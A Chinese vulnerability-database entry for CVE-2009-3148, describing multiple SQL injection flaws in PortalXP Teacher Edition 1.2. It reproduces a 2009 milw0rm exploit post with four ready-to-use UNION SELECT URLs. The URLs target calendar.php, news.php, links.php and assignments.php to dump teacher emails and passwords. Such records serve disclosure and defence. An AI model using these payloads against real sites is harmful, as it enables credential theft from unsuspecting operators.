portalxp SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118225 漏洞类型 SQL注入
发布时间 2009-08-01 更新时间 2009-08-01
CVE编号 CVE-2009-3148 CNNVD-ID CNNVD-200909-201
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/9325
https://www.securityfocus.com/bid/42504
https://cxsecurity.com/issue/WLB-2009090126
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200909-201
|漏洞详情
PortalXPTeacherEdition1.2版本中存在多个SQL注入漏洞。远程攻击者可以借助对(1)calendar.php,(2)news.php,和(3)links.php;以及(4)对assignments.php的assignment_id参数的id参数,执行任意SQL指令。
|漏洞EXP
###########################################################################################################################################
[+] PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###########################################################################################################################################

[+] Download : http://sourceforge.net/projects/portalxp/files/portalxp%20-%20teacher%20edition/Version%201.2/PortalXP1-2.zip/download

[+] SQL Injection

 - PoC's

   http://127.0.0.1/calendar.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/news.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/links.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/assignments.php?assignment_id=1+union+all+select+1,2,3,4,concat_ws(0x3a,email,teacherpass),6,7,8,9+from+teacher--


###########################################################################################################################################

# milw0rm.com [2009-08-01]
|受影响的产品
Richard Brynteson PortalXP Teacher Edition 1.2
|参考资料

来源:MILW0RM
名称:9325
链接:http://www.milw0rm.com/exploits/9325